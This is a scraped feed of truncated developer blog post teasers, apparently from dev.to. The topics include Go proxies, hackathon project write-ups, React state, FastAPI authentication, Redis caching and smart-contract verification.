    When I started making games, I had no clue what I was doing. I loved gaming. I had ideas. I had the motivation. But I also made a lot of mistakes. Looking back, some of them were obvious. Others? Not so much. If you're just starting your game dev journey, maybe this post will help you avoid the mess I walked into. Here are five real mistakes I made when I first started out and what I’d do differently now. The excitement hit me fast. I opened up my engine, started coding, and just built whatever came to mind. No outline. No direction. No clear goal. The problem? I had no idea where I was going. I'd change ideas halfway through. Add random features. Eventually, the project felt like a mess, and I gave up on it. What I’d do now is simple. Before opening any tool, I take 30 minutes to write do…  ( 5 min )
    Understanding Proxies: What, Why, and How to Build One in Go
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. When you hear “proxy,” you might think of anonymity tools or corporate firewalls. But proxies are used everywhere: in load balancers, reverse gateways, API middleware, and more. This post will explain: What a proxy is How it works Why we use it And how to write a basic HTTP proxy in Go A proxy is an intermediary between a client and a server. Instead of the client talking directly to the server, it talks to the proxy, and the proxy forwards the request to the actual server. The server responds to the proxy, and the proxy sends the res…  ( 4 min )
    How I Built MemoirVault: A Private Multimedia Autobiography App with Kiro (#kiro)
    Why MemoirVault? In a world flooded with social sharing and algorithm-driven platforms, I wanted to create something different—a private, user-owned space for real stories, not just viral snippets. That’s how MemoirVault was born: a platform where you can chronicle your life in text, audio, video, and images, organized in a secure timeline that’s truly yours. My goal was to solve a growing problem: our digital memories are fragmented and privacy is compromised on traditional platforms. MemoirVault empowers users, especially students and creators, to curate their own journey with full data ownership, granular privacy, and zero ads or tracking. Building this from the ground up for the Code with Kiro Hackathon was a challenging, exhilarating ride—and AWS Kiro IDE was the game changer. Kiro ID…  ( 4 min )
    Axero Intranet Solution - Modern Workplace Portal
    Axero Intranet Solution - Modern Workplace Portal This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I designed and developed a comprehensive intranet solution inspired by Axero's workplace collaboration tools. My goal was to create an intuitive, visually appealing dashboard that serves as a central hub for all employee needs in a modern workplace. The intranet portal features a personalized greeting system that changes based on time of day, a clean dashboard with activity metrics, and quick-access tools for common workplace tasks. I focused on creating a cohesive design language with consistent color schemes, typography, and component styling to enhance user experience and visual harmony. Key features include: Personalized dashb…  ( 4 min )
    VectorChat - Real-Time AI-Powered Customer Support with Redis Vector Search
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. VectorChat is an intelligent customer support system that provides real-time AI-powered responses using Redis 8's vector search capabilities. The application processes customer queries in real-time, finds semantically similar previous interactions, and generates contextually relevant responses using advanced vector embeddings. Key features: Real-time semantic search across historical support conversations AI-powered response suggestions based on vector similarity Live chat interface with instant AI assistance Continuous learning from new interactions 🔗 Live Demo: https://vectorchat-demo.vercel.app Video Demo: https://youtu.be/demo-vectorchat Screenshots: Real-time chat interface with AI suggestions Vector similarity matching dashboard Performance metrics showing sub-millisecond query times Redis 8 serves as the core real-time data layer for VectorChat through several key implementations: Vector Search Engine: Utilized Redis 8's enhanced vector search capabilities to store and query customer interaction embeddings. Each conversation is converted to 1536-dimensional vectors using OpenAI's text-embedding-ada-002 model and stored in Redis with the HNSW algorithm for ultra-fast semantic search. Real-time Data Processing: Leveraged Redis Streams for processing incoming customer messages in real-time, ensuring zero-latency response generation and seamless conversation flow. Semantic Caching: Implemented intelligent caching of AI responses using Redis 8's semantic caching features, reducing API calls to external LLMs by 60% while maintaining response quality. Session Management: Used Redis 8's enhanced data structures to maintain real-time session state across multiple concurrent conversations, ensuring context preservation and personalized experiences. The combination of Redis 8's vector search, streams, and caching capabilities enables VectorChat to deliver sub-50ms response times while processing thousands of concurrent conversations.  ( 3 min )
    VoiceFlow Pro
    VoiceFlow Pro - Enterprise Voice AI Platform with Sub-400ms Latency This is a submission for the AssemblyAI Voice Agents Challenge 🏆 Challenge Categories: Business Automation, Real-Time Performance, Domain Expert 🎯 Achievement: 19.7ms average response time - 20x better than 400ms target VoiceFlow Pro is a next-generation enterprise voice AI platform that revolutionizes business automation through intelligent voice conversations. Built specifically for the AssemblyAI Voice Agents Challenge, it delivers verified sub-400ms latency with 100% documented performance. Challenge Categories Addressed 1. Business Automation ✅ Multi-Agent Intelligence: Sales qualification, customer support, appointment scheduling Real Business Impact: 3x faster lead qualification, 60% cost reductio…  ( 7 min )
    GitHub README images based on prefers-color-scheme
    Have you ever been viewing a README on GitHub that blinds you due to a white background when you're in dark mode? Or had an image that didn't quite look right in dark mode due to the difference in background colors? Well suffer no more and implement images in your README best suited to the users color scheme. To achieve this, you'll need two images - one suitable for display in a light color scheme, and one for dark color schemes. Next, you'll want to include the following code in your README: In the above code, we're using a picture element to allow us to display a different image dependent on the users preferred color scheme. Our source element defines the image we'd like to use for dark mode. The image element is what the README will default to if there is an issue with supporting the picture element, or none of the source tags are applicable. In the example above, we are using the image element to define the image we want to use in light mode and the image we want to be our default image should there be an issue rendering any of the source images. We could even take this a step further and define images for light and dark mode, and then a seperate image as our default backup image: And that's it! Now your README file will read the users preferred color scheme and display an image chosen for that theme. Want to see an example in action? Check out my example repository below: kera-cudmore/example-light-dark-github-readme-images You can emulate a color scheme in Chrome by opening the Command Menu (Ctrl + Shift + P or Cmd + Shift + P) and then typing in emulate CSS prefers-color-scheme:dark and then enter.  ( 4 min )
    How can I make my frontend run quicker
    When we try to improve user experience for a website, good design and nice flow definitely matter. But what else should be also taken into account? Even if we use the awarded design for our website, if any actions on the web take 10 seconds to load not many people would use the website. Then let's discuss how to improve web performance. Use code bundler, use code bundler wisely! Lazy loading lazy loading. API call bundling / caching caching logic also helps to make less requests to server. main api call to render this data to user first! Image Compression load low-quality images for small thumbnails compress before image upload (or before returning image from BE) Then happy coding everyone! https://www.freecodecamp.org/news/the-front-end-performance-optimization-handbook/ and apply it to your very own projects!  ( 3 min )
    Drowning in News? Meet NewsSelect: Your AI-Powered Summarizer
    In our hyper-connected digital age, keeping up with the news feels less like staying informed and more like trying to drink from a firehose. The sheer volume of articles across countless sources leads to an overwhelming sense of information overload. Manually sifting through lengthy pieces to grasp the core message is not just inefficient; it's practically impossible for most people. This challenge inspired NewsSelect – an end-to-end, AI-powered web application designed to cut through the noise. NewsSelect aims to automatically fetch live news articles, distill them into concise, abstractive summaries using a sophisticated deep learning model, and present them through a clean, responsive web interface. It’s about getting to the essence of the news, faster. Building an intelligent summariza…  ( 5 min )
    Interactive Office Environment with React & CSS Art
    Interactive Office Environment with React & CSS Art This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. The inspiration for this project came from my own experiences in office environments and the unique culture that develops within them. I wanted to capture both the functional aspects of office work and the small moments that make workplace culture special - coffee breaks, water cooler chats, sticky note reminders, and even the occasional office pet visitor. The day/night cycle represents the work-life balance we all strive for, while the weather effects symbolize the changing moods and energy of workplace environments. Live Interactive Demo You can also open the demo in a new tab for the full-screen experience. You can…  ( 4 min )
    Aviator predictor
    Check out this Pen I made!  ( 2 min )
    Revolutionizing Retail: A Blockchain-Powered Loyalty and Transaction System with FastAPI + Ethereum
    Traditional retail systems, despite technological advancements, still grapple with key inefficiencies. Common issues include opaque data handling, siloed loyalty point systems, susceptibility to fraud due to centralized databases, and the inability to scale effectively due to costly and sluggish infrastructure. Recognizing these challenges, we set out to reimagine the retail experience by building a decentralized, secure, and transparent system powered by blockchain. Enter the Retail Blockchain System – a platform that streamlines retail transactions and loyalty point management using smart contracts, ensuring transparency, immutability, and trust between retailers and consumers. Blockchain solves many of the long-standing issues in retail: Immutability: Guarantees that transaction records…  ( 5 min )
    CodeSage - MCP-First Code Discovery
    Building CodeSage: A MCP-First Code Discovery Platform This is a submission for the Algolia MCP Server Challenge CodeSage is an AI-powered code discovery platform built entirely around the Model Context Protocol (MCP). It transforms GitHub repositories into AI-searchable knowledge bases, enabling natural language exploration of codebases through Claude Desktop and other MCP-compatible AI clients. GitHub Repository: CodeSage MCP-First Code Discovery / codesage-algolia-challenge CodeSage - MCP-First Code Discovery 🚀 AI-powered code discovery through natural language - Built entirely around the Model Context Protocol (MCP) for seamless integration with Claude Desktop and other AI clients. CodeSage - MCP-First Code Discovery - The only code discovery tool built entirel…  ( 7 min )
    Enhance your Code Security with Amazon Inspector
    As a latest addition to the vulnerability scanning capabilities of Amazon Inspector across multiple AWS services, it now supports scanning of your application source code, dependencies and Infrastructure as Code (IAC). It has a native integration with your SCMs - GitHub and GitLab and it helps you build a shift left security approach while taking proactive decisions securing your SDLC. Let's Get Up and Running Currently Amazon Inspector Code Security scan is available in 10 AWS Regions, you can get the full list here. Considering you are in one of the listed regions and have activated Inspector, select Code Security on the left pane. Once I click on ConnectTo, I get two options. As I am using GitHub as my SCM, I select it and proceed. You can choose the default scan configuration or c…  ( 5 min )
    Python
    A post by Yasir Landur  ( 2 min )
    Website Monitoring (Golang)
    Lightweight Go-based website monitoring tool offering real-time status checks, SSL certificate monitoring, and email notifications. Includes a TUI interface for convenient status management. HTTP/HTTPS status code checks SSL certificate expiration monitoring Response time measurement Automatic retry mechanism Multi-site monitoring support SMTP email sending SSL/TLS connection support (ports 465/587) Customizable email content Multi-recipient support Real-time status display Command-line operations Dynamic site addition/removal SMTP configuration management This project is licensed under the MIT license. ©️ 2025 邱敬幃 Pardn Chiu  ( 3 min )
    Understanding Promise Chaining
    Let's be honest, nobody needs to write a polyfill for promise these days. Most of us only look for it when we start preparing for interviews. Promise polyfill is among the most common questions asked in JavaScript interviews. As a consequence, there are endless blogs on this. So why am I writing this? Well, I found that most of them have implemented Promise wrong! Most common mistake that I find in these implementations is that they return this. However, if you go through MDN docs, it clearly states that then returns a new Promise. So, in this post, I want to take you through my journey on what I feel is the correct implementation of promise. Let's start by defining a basic Promise class. type ExecutorFn = ( resolve: (data?: T) => unknown, reject: (reason?: unknown) => unknown, ) =>…  ( 14 min )
    WebLines: Your On-Screen Ruler for Perfect Alignment
    Check out WebLines on the Chrome Web Store and follow along with the story below. While working on a complex design project recently, I found myself obsessing over alignment—tweaking absolute positions and spending more time than I’d like to admit, and then, half-jokingly, I told my teammates: That random joke sparked an idea: I immediately searched the Chrome Web Store, and as expected, someone had already thought of it. WebLines is a simple Chrome Extension that allows you to draw horizontal or vertical lines across any webpage. These lines help you visually verify whether elements are aligned properly. No more squinting or nudging with guesswork. You can: Draw multiple lines anywhere on the screen Customize line color and opacity Remove lines easily Manage everything from a clean, user-friendly popup It’s designed to be lightweight, intuitive, and genuinely helpful. Something I wish I had when I was aligning those divs. 🚀 Try WebLines WebLines from the Chrome Web Store WebLines started as a random joke, but turned into a tool I now rely on whenever I need to check visual alignment. It’s simple, reliable, and does exactly what I built it for. If you’re a developer or person who values precision, give WebLines a try, and if you do, I’d love to hear your feedback. Let me know how it felt using it so I can keep improving it for everyone.  ( 4 min )
    🚀 Integrating AI into Your React Application: A Practical Guide
    Hey community! 👋 AI is everywhere these days—powering chatbots, recommendation engines, and even image generators. The best part? You can easily bring this power into your React apps without starting from scratch. ✅ 1. Decide Your AI Use Case Before writing any code, figure out what you want to build: ✔ Chatbot (OpenAI, LangChain) ✅ 2. Choose an AI Provider Some popular options: -> OpenAI API (ChatGPT, GPT-4, DALL·E) -> Hugging Face Inference API (NLP, vision models) -> Google Gemini or Claude API -> Custom ML Model hosted on AWS, Flask, or FastAPI ✅ 3. Install Dependencies For OpenAI, install: npm install openai axios ✅ 4. Set Up a Backend Proxy (Recommended) Never expose your API keys in the frontend! Create a simple Express server: // server.js import express from 'express'; import a…  ( 4 min )
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    I built a small 2D collision sandbox to visualize elastic collisions using Pygame for rendering and Pymunk (Chipmunk2D) for physics. A tiny Tkinter launcher lets you set the initial speeds and masses of two balls. The app then displays each ball’s live speed and the post‑collision speeds captured via a Pymunk post_solve callback. Demo highlights 🧪 Set speed & mass for both balls before the sim starts (Tkinter dialog). ⚙️ Real‑time physics with elasticity and friction; damping for subtle energy loss. 📊 On‑screen HUD: current speed (px/s) for each ball + speeds right after impact. 🧱 Static wall segments on both sides to keep objects in view. 🟢🟥 Color‑coded bodies: Green vs. Red.  ( 3 min )
    Passmuse: AI-Powered Passwords You’ll Actually Remember
    What’s the Real Cost of “Forgot Password?” Every developer and every user, knows the drill: Hit “Forgot Password?” Check email. Create a new one. Repeat in 2–4 weeks. Organizations spend millions annually on support tickets, password resets, and driving users toward insecure hacks like “Password123” or “Fluffy2025!”. Meanwhile, your users are frustrated, unproductive, and more likely to nickel and dime around security best practices. Passmuse: The AI-Powered Password Muse Passmuse solves the core tension between memorability and security with a simple promise: Passwords as memorable stories, not random gibberish. Context Aware: Every character ties back to something only you know. Cryptographically Strong: 80+ bits of entropy, NIST-compliant. Zero Storage: We never persist your passwor…  ( 4 min )
    From Windows to Linux Mint in 2025: Testing Black Myth: Wukong with DLSS vs FSR + Frame Generation
    Hey everyone, what's up? I've always used Windows for gaming, but I decided to make the complete switch to Linux Mint to see how it performs with the latest games in 2025. To document the experience, I recorded a video where I put the system to the test with a benchmark of the highly anticipated Black Myth: Wukong. My main goal is to show the viability of Linux for a regular gamer. And I can say with complete certainty: I didn't need to use a single line of terminal for anything. All the installations for Steam, MangoHud, CoolerControl, and other monitoring tools were done through the Linux Mint app store via Flatpak, working perfectly and without errors. Having decided to leave Windows behind for my gaming setup... [Black Myth: Wukong in the Steam Library – running on Linux Mint] Imgur Th…  ( 5 min )
    🧠 State of Mind: React useState Made Simple — Part 2
    Welcome back, React explorer! 🚀 State of Mind: React useState Made Simple - Part 1 Srushti Patil ・ Jul 20 #react #webdev #programming #beginners Let’s level up your state game in Part 2! 🎮 🌱 1. Multiple Pieces of State? No Problem! const [name, setName] = useState(''); const [age, setAge] = useState(''); Each useState is totally independent — they won’t interfere with each other. Use this when your variables don’t need to be bundled. 🧠 Tip: Name your state and setters clearly. It makes debugging 100x easier. 🔁2. When Your Update Depends on the Previous Value setCount(count + 1); setCount(count + 1); Surprise! It only increases by 1 😱 Why? Because setState is asynchronous and React batches updates for performance. Fix it with the function form: setCo…  ( 4 min )
    JavaScript’s Role in Web Development: A Comprehensive Introduction
    JavaScript (JS) Possibly the most popular programming language in the world, JavaScript underpins the web by enabling dynamic and interactive pages. But its flexibility and versatility are available on a wide range of platforms beyond the browser, from servers and smartphones to embedded systems, and it has emerged as a way of creating rich, engaging applications on all those devices. Annual updates to the language introduce new features and improvements to the functionality, readability and performance of JavaScript. These updates also increase developer productivity, ensuring it’s a language that is fast to write and easy to get started with, keeping it relevant for increasingly challenging scenarios. A Brief History & Origins Though updates slowed after ES5 in 2009, a strong community k…  ( 4 min )
    Clean Product Card with Add to Cart Button
    A clean, responsive product card UI with image, price, and stylish “Add to Cart” button using minimal CSS.  ( 2 min )
    GitHub Just Killed Stack Overflow (And Nobody's Talking About It)
    The biggest shift in how developers solve problems has happened right under our noses, and most people haven't even noticed yet. Remember when Stack Overflow was the holy grail of programming help? When getting an answer upvoted felt like winning the lottery? When Jon Skeet was basically the unofficial king of the internet? Those days are over. And it happened so quietly that most developers haven't even realised it yet. Here's what's actually happening in 2024: Stack Overflow traffic: Down 38% from peak GitHub Copilot users: 1.8 million paying subscribers ChatGPT daily queries about code: 180+ million New Stack Overflow questions: Down 55% year-over-year But here's the kicker - GitHub Copilot Chat just became the fastest-growing developer tool in history. And it's not even close. Stack O…  ( 6 min )
    Understanding Go Modules: A Brief Guide
    A Go module is a collection of Go packages stored in a directory with a go.mod file at its root. This file defines the module’s path and its dependencies. It allows developers to version, upgrade, and manage dependencies cleanly. Key Files go.mod: Contains the module name, Go version, and required dependencies with their versions. go.sum: Maintains checksums to verify the integrity of modules used. Basic Commands go mod init : Initializes a new module. go get @: Adds or updates a dependency. go mod tidy: Cleans up unused dependencies and adds missing ones. go build / go run / go test: Automatically resolves and uses modules. Benefits No need for GOPATH. Clear version control and reproducibility. Easier to work across multiple projects. Example go mod init github.com/username/myproject go get github.com/gin-gonic/gin@v1.9.0 This will create a go.mod file and fetch the specified version of the Gin web framework. Go Modules make dependency management in Go modern and efficient, especially important as projects grow in complexity.  ( 3 min )
    Building a User Authentication and File Management API with FastAPI
    Over the past two weeks, I’ve been working on a backend API project using FastAPI. The goal is to build a solid foundation for user authentication and a file management system. Initialized a FastAPI project with virtualenv and managed dependencies in requirements.txt. Configured environment variables with python-dotenv for things like SECRET_KEY and DATABASE_URL. Created the User model using SQLAlchemy with fields including id, email, hashed_password, and status flags. Implemented JWT-based authentication including user registration, login, and token refresh. Built user endpoints (/register, /login, /me) for managing user actions. Added dependency injection for database sessions and authentication in the routes. Wrote basic tests for authentication endpoints. At the end of week one, the API supports user registration and login, returning JWT tokens for authorized access. Added a File model linked to users, storing file metadata such as filename, hash, and upload date. Created file endpoints to upload, list, and delete files (/upload, /list, /delete/{file_id}). Handled file uploads with python-multipart, storing files on disk using unique filenames. Computed and stored SHA-256 hashes for uploaded files to ensure integrity. Restricted file access based on user authentication, enforcing ownership rules. Implemented validation for file size and allowed extensions. Started writing tests for the file management functionality. Moving forward, I plan to: Enhance file validation and error handling. Add support for user roles and permissions. Integrate background tasks for file maintenance using Celery. Improve test coverage and add documentation. The project is open source and available on GitHub: Task Automation API Feedback and contributions are welcome. If you’re interested in backend APIs, FastAPI is a great framework that makes building async, secure APIs straightforward. This project is a good way to practice authentication, file handling, and database relationships. Thanks for reading!  ( 3 min )
    BetterSpeak - AI-Powered Public Speaking Coach: Building with Bolt - WLH Challenge
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    Tips and Tricks Ruby on Rails
    Tips and Tricks Ruby on Rails Where This Came From This content was inspired by: Drifting Ruby - Ruby on Rails screencasts Videos de TI - Portuguese course by @jacksonpires thoughtbot - English courses Note: Don't let AI do your work, but let it help you! All the content and experience are mine, but it was formatted and organized with AI help for better clarity and structure. The other day, a friend asked for help with his project. We spent hours catching up and laughing, and he ended up picking up several Rails tips from me - simple stuff that can help Junior and Mid-level developers. At the end of our chat, he said - "Why don't you create a post about this???" And I said: "you know what, why not?" The "Tips and Tricks" title came from Drifting Ruby episode with the same n…  ( 9 min )
    viboxai: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. viboxai - ViboxAI is an AI-powered email marketing platform that creates and sends high-converting campaigns from a simple prompt. No templates, no manual work just smart, fast marketing for everyone Team Members: abd yah Project URL: https://devpost.com/software/viboxai Our experience building viboxai during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions accelerate…  ( 4 min )
    Fashioning.ai 👗: AI-powered fashion trend discovery and personalization platform
    Algolia MCP Server Challenge: Ultimate User Experience 🚀 What I Built Fashioning.ai is an AI-powered fashion trend discovery and personalization platform that leverages the Algolia MCP Server to deliver intelligent, real-time fashion insights. The application combines cutting-edge search technology with generative AI to create a comprehensive fashion intelligence ecosystem. ✨ Core Features: Real-time Fashion Trend Discovery: Browse and search through thousands of fashion trends with lightning-fast results. AI-Powered Trend Analysis: Get detailed insights about popularity, styling advice, and market predictions for any fashion trend. Intelligent Search & Filtering: Advanced search capabilities with category and region filters. Comprehensive Analytics: View trend statistics, regional pre…  ( 6 min )
    Engineering of Small Things #5: OOP Basics in TypeScript
    Ahoy! Today we are going to look into some basic concepts of Object Oriented Programming. Object-oriented programming (OOP) is a programming paradigm based on the concept of "objects", which can contain data and code: data in the form of fields (often known as attributes or properties), and code, in the form of procedures (often known as methods). First things first, what's a class? Think of a Class as a blueprint. It's not a person, but it describes what makes a person. For instance, a Human class would be a blueprint defining that all humans have properties like a name, age, and eyeColor. So if a Class is the blueprint, what are you? You, my friend, are an Object. An object is a real, living, breathing instance created from a class. While the Human class is the idea, you are the implem…  ( 7 min )
    The Most Beautiful Data Structures (and How to Try Them Locally)
    What makes a data structure “beautiful”? Some say simplicity. Some say power. Some just admire how elegantly it solves a real-world problem. In this article, we’ll explore three data structures often praised as beautiful by competitive programmers, algorithm geeks, and functional programming fans. From mathematically sound hash tricks to mind-bending tree structures, they’re not just smart—they’re aesthetically satisfying. Let’s dive in. Inspired by this answer on Zhihu (in Chinese), the modular hash tree (a.k.a. “膜质数哈希树”) is a clever fusion of hashing and tries that tackles one of hashing’s biggest weaknesses: collisions. Let’s say your hash function is h(x) = x % 17. Both 19 and 36 return 2. Boom—collision. Traditional solutions: Chaining: Store a list at each hash slot. But worst-case …  ( 5 min )
    CSS Basics You Must Master: Box Model, Display Property, Inline vs Block, and Making Circles!
    CSS can feel tricky when you're starting out, especially when things just “don’t align right” or “spacing feels off.” But once you master the Box Model, understand display properties, and learn how to work with inline vs block elements, everything starts making sense. Let me walk you through the most important foundational concepts — written in beginner-friendly language and backed with practical code examples. What is the CSS Box Model? Before applying styles to a container (an element), you need to understand how it’s structured behind the scenes. Think of every HTML element as a box. This box has: Content (like text or an image) Padding (space around the content) Border (the box edge) Margin (space between this box and others) Let’s Understand With an Example: Take this simple heading: …  ( 4 min )
    Why TypeScript Won (and You Should Just Give In Already)
    Spoiler: JavaScript walked so TypeScript could run — directly into your job interview and snatch that offer letter right out of your dreams. There was a time when saying “I use TypeScript” would get you laughed out of your dev circle. TypeScript is like that kid in school who brought a ruler and extra pencils — annoying at first, but then ended up being valedictorian and building a billion-dollar startup. Let’s be real: TypeScript is the chaotic good wizard who brings rules and magic. Because JavaScript Was Getting Out of Hand function add(a, b) { return a + b; } add(5, "5"); // "55" 🙃 This is not addition. This is betrayal. You wanted a calculator. You got a string concatenator with commitment issues. Because Your Brain Deserves a Break Ever tried navigating a large JavaScript …  ( 5 min )
    From Challenge to Comprehensive App, My Frontend Development Journey
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I created a comprehensive Virtual Office Intranet that transforms the traditional workplace experience into an engaging, interactive digital environment. The application simulates a complete office ecosystem with modern glass morphism design and real-time functionality. Interactive Office Desk 3x2 compact grid of interactive desk items (notes, coffee, plant, calendar, printer, paperclips) Each item has realistic interactions and state management Coffee levels, plant growth tracking, printer queue status Sticky notes system with realistic appearance and color coding Enhanced Weather Widget 5-day forecast with detailed weather information Interactive controls and comprehensive sta…  ( 5 min )
    How to Solve MySQL and Redis Cache Inconsistency Like a Pro
    Redis is often used as a high-performance cache in front of MySQL to reduce latency and database load. But what happens when your MySQL data is updated — and Redis isn’t? This can lead to data inconsistency, one of the most common and frustrating bugs in distributed systems. In this article, we’ll explore: What causes cache inconsistency between Redis and MySQL Proven strategies to maintain consistency How to test and validate these strategies locally Here’s a typical setup: You query Redis for a value. If it’s a miss, you fall back to MySQL. The result is written back into Redis for future access. Now suppose the underlying MySQL data changes — a user updates their profile, or a product price is modified. If Redis still holds the old value, your system serves stale or invalid data. These …  ( 4 min )
    Microsoft Azure Static Web Apps: The Art of Sucking, Web App Horror Story
    ❗️Disclaimer This is a random rant by a junior dev who experienced hell with azure so don't come to conclusion. If You have any POV on my rant leave it in the comments definitely i will take your view. 🖕 Intro: Drop & Deploy? More Like Drop & Die I built a static web app. A beautiful React-Router v7 (Remix based) app with SSR. What I wanted was simple — something like Netlify, Vercel, or even AWS Amplify. Just drag, drop, and deploy. Clean. Simple. Painless. Then I met Microsoft Azure Static Web Apps — and my life started flashing before my eyes. At first I thought, “Hey, Microsoft’s been doing this cloud thing for a while. Maybe they’ve figured out a nice flow.” “Hmm, we are Microsoft. We always suck. Let’s make deployment feel like debugging in production… blindfolded.” Le…  ( 7 min )
    AlgorithmO #13 — Сортиране чрез селекция (Selection Sort)
    (Първо публикувано на 16.01.2017) Е, стигнах и до разглеждането на някои “brute force” алгоритми! 😉 Какво представляват тези алгоритми? Общо взето при тях просто пробваме всички възможни решения докато не стигнем до такова, което… ами… работи. Например ако играем шах, brute force подходът за победа би бил да пробваме *всяка *комбинация от ходове докато не спечелим, без да обръщаме внимание на подредбата на фигурите (да, дори пешката в началото, която няма шанс да стигне до царя, ще бъде преместена). Това, разбира се, би отнело прекалено много ресурси и време, но показва как точно работи един brute force алгоритъм. Сортирането чрез селекция (или “Selection Sort”) е отличен пример за такъв вид алгоритъм и си струва да го знаете. Преди да започна да пиша по темата, мога да ви спестя доста вр…  ( 6 min )
    Axero
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space This project utilizes a Bento layout to depart from the traditional designs commonly seen in other projects. The styling follows a modern, isomorphic approach and incorporates smooth initial transitions to ensure an engaging user experience. Furthermore, the widget layout is intentionally designed to follow natural eye-tracking patterns, creating an intuitive, minimalist, and easy-to-navigate flow for the user. Axero  ( 3 min )
    Remember those advanced list tricks? Let’s use them to process inventory.
    🗂 MINI PROJECT: Inventory Grid Processor Goal: What You’ll Learn: Tech Concepts: Nested list comprehensions * unpacking zip(*matrix) to transpose Basic filtering + totals Sample Task: 📌 Bonus Challenge:
Detect which rows or columns are all zero — and flag them for restocking. Want more? I write Python how-tos at [Novaxis] — no fluff, just clean backend logic. Nova of Novaxis | Substack novaxis.substack.com  ( 3 min )
    🧠💬 MindMeld – Building Empathetic Tech with Purpose
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Hackathons are often remembered for sleepless coding marathons, rapid prototypes, and caffeine-fueled breakthroughs. But for me, the Bolt Hackathon 2025 became something deeper — a personal journey in building with empathy. I created MindMeld, an AI-powered mental wellness companion, not just to solve a technical challenge, but to craft a tool that could offer emotional support, reflection, and calm — even when no one else is around. Yes, I built this solo — from ideation and design to integration and deployment. But I never felt alone. The Bolt.new ecosystem, open communities around Supabase, Tavus, and ElevenLabs, and the encouraging vibe of the hackathon provided a sense of shared purpose. Every …  ( 4 min )
    NexusFlow: The AI-Powered Intranet Revolutionizing Workplace Collaboration
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    How do some dApps pretend to have verified contracts when they don't?
    Recently, I started interacting with many DApps for DeFi, airdrops, or NFT exchanges. I noticed that most of the time, DApps are marked as "contract verified", but in many cases, only the proxy contract is verified—not the implementation. What does that actually mean? And is the contract truly verified in such cases? Let’s break it down below. let's start with some context: The concept of upgradable smart contracts on Ethereum began emerging around 2017, with more formal and secure patterns being adopted by 2018. Many decentralized applications (DApps) started using this pattern to prevent and mitigate vulnerabilities that could appear in the future. Upgradable smart contracts follow a simple architecture: A proxy contract holds the data (storage) An implementation contract contains the bu…  ( 4 min )
    Forging a Digital Shield Against Climate Chaos – The Birth of CarbonPro AI
    Building with Bolt: In the sweltering heat of a planet on the brink, where wildfires rage and ice caps weep, I found my spark. The World's Largest Hackathon wasn't just a coding marathon; it was my call to arms. As a solo builder juggling three hackathons in a single frantic week during semester break, I dove headfirst into creating CarbonPro AI – a real-time carbon credit trading platform that's not just another marketplace, but a proactive fortress against emissions. Picture this: instead of mopping up the mess after the flood, we're building dams before the storm hits. That's the magic I unleashed with Bolt.new, turning a month's frenzy into a tool that could reshape our fight for a breathable future. The carbon credit market is a behemoth in waiting. According to recent projections …  ( 9 min )
    Web Developer Travis McCracken on API Docs That Don’t Suck
    Harnessing Rust and Go for Powerful Backend Development: Insights from Web Developer Travis McCracken As a seasoned Web Developer, I often find myself exploring the diverse landscape of backend development to build fast, reliable, and scalable APIs. Over the years, Rust and Go have emerged as two of the most compelling languages in this space, each offering unique advantages for modern backend systems. In this post, I’ll share my insights into working with these languages, highlight some innovative projects like fastjson-api and rust-cache-server, and discuss why choosing the right tools can make all the difference in backend development. Rust and Go are often compared because of their focus on performance, concurrency, and safety. However, they serve different niches and development philo…  ( 5 min )
    Day 47: When Everything Goes Wrong Despite Doing Everything Right
    Registration day. The day I'd been preparing for, documents sorted, payment made, everything ready to go. I thought I'd learned from my procrastination habits and got ahead of the game this time. You know that feeling when you're waiting for something crucial and the other party just... disappears? My bank pulled a Houdini act with my payment receipt. Not a single response to the 20 emails I sent to 10 different people yesterday. And guess what? Today's their holiday. Perfect timing, right? But wait, there's more. The administration, in their infinite wisdom, decided registration day was the perfect time to introduce some mysterious extra charges. I have everything they asked for, the payment is already made, but apparently, that's not enough anymore. It's 7 PM now. Instead of being registered and ready for the semester, I'm sitting here with a headache that could power a small city. Here's what I've learned: sometimes you can do everything right and still lose. Sometimes the system is so broken that your preparation becomes irrelevant. Sometimes bureaucracy exists just to remind you that logic has left the building. Tomorrow I get to try again. Maybe the bank will remember how email works, maybe the administration will explain their surprise fees, maybe everything will magically work out. Or maybe I'll just add another chapter to this ongoing comedy of errors. Either way, this headache and I are calling it a day. This is part of my daily documentation of the chaotic journey through college and building projects. Some days are productive, some days are like this one.  ( 3 min )
    Building a RESTful API with Node.js, Express, Sequelize & PostgreSQL (2025 Update)
    🚀 Ready to build a modern API with Node.js in 2025? This updated guide walks you through every step of building a RESTful API using: ⚙️ Node.js + Express 🗄️ PostgreSQL 🔄 Sequelize ORM 🧰 Input validation with express-validator It covers project setup, model creation, routing, controllers, error handling, and more — ideal for both beginners and those refreshing outdated tutorials. 👉 Check out the full tutorial here  ( 3 min )
    Quick Update: My Bookmark Extension Hits 500 Users! 🎉
    Time flies when you're debugging! Here's what I've been up to with my browser extension Bookmark Dashboard: Fixed some pesky bugs Optimized a few features for smoother use Biggest win -- Adapted the extension to survive Chrome's bookmark syncing changes (avoid crashes or disordered UI) And the best part: Hit 500+ users across Chrome and Edge! 🎉 Feel free to try it out and all feedback is welcome! 🚀 Thanks for reading!  ( 3 min )
    Which is better: Healthcare Software as a Service (SaaS) or a professional license?
